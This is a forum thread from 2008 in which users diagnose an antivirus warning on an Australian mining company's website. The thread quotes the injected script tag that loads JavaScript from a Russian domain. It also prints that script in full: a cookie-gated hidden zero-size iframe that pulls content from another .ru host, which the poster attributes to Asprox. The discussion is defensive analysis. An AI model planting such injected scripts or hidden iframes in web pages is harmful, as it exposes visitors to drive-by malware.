Avast Home Edition Pops up with this site

Discussion in 'other anti-virus software' started by Albinoni, Aug 3, 2008.

Thread Status:
Not open for further replies.
  1. Albinoni

    Albinoni Registered Member

    Joined:
    Feb 17, 2005
    Posts:
    709
    Location:
    Perth, Western Australia
    I went on to this Australian Mining site and everytime I do so Avast pops up and warns me. Not sure what the hell is going on here, but starngely enough it tells me the site is russian, when infact its Australian Mining Site

    This is the website:

    www.polarismetals.com.au
     
  2. doktornotor

    doktornotor Registered Member

    Joined:
    Jul 19, 2008
    Posts:
    2,047
    No wonder...

    Code:
    <title>Polaris Metals NL &raquo; Welcome to Polaris Metals NL<script src=http://www.uhwc.ru/js.js></script>
    :rolleyes:
     
  3. Albinoni

    Albinoni Registered Member

    Joined:
    Feb 17, 2005
    Posts:
    709
    Location:
    Perth, Western Australia
    May I ask how did you do that code thing ?

    I did actually go that ru site and its actually a Union Bank and Trust Company and when I went to the site itself strangely Avast did not pop up.
     
  4. doktornotor

    doktornotor Registered Member

    Joined:
    Jul 19, 2008
    Posts:
    2,047
    Use something like "View source code" in your browser...

    And here's the js.js script:

    Code:
    window.status="";
    n=navigator.userLanguage.toUpperCase();
    if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
    var cookieString = document.cookie;
    var start = cookieString.indexOf("v1goo=");
    if (start != -1){}else{
    var expires = new Date();
    expires.setTime(expires.getTime()+9*3600*1000);
    document.cookie = "v1goo=update;expires="+expires.toGMTString();
    try{
    document.write("<iframe src=http://ncbw.ru/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
    }
    catch(e)
    {
    };
    }}
    
    The guys should check their webhosting's security ... :p Asprox domains...
     
  5. Albinoni

    Albinoni Registered Member

    Joined:
    Feb 17, 2005
    Posts:
    709
    Location:
    Perth, Western Australia
    Ok I did work it out by using notepad.
     
  6. emperordarius

    emperordarius Registered Member

    Joined:
    Apr 27, 2008
    Posts:
    1,218
    Location:
    Who cares
    Last edited: Aug 3, 2008
Loading...
Thread Status:
Not open for further replies.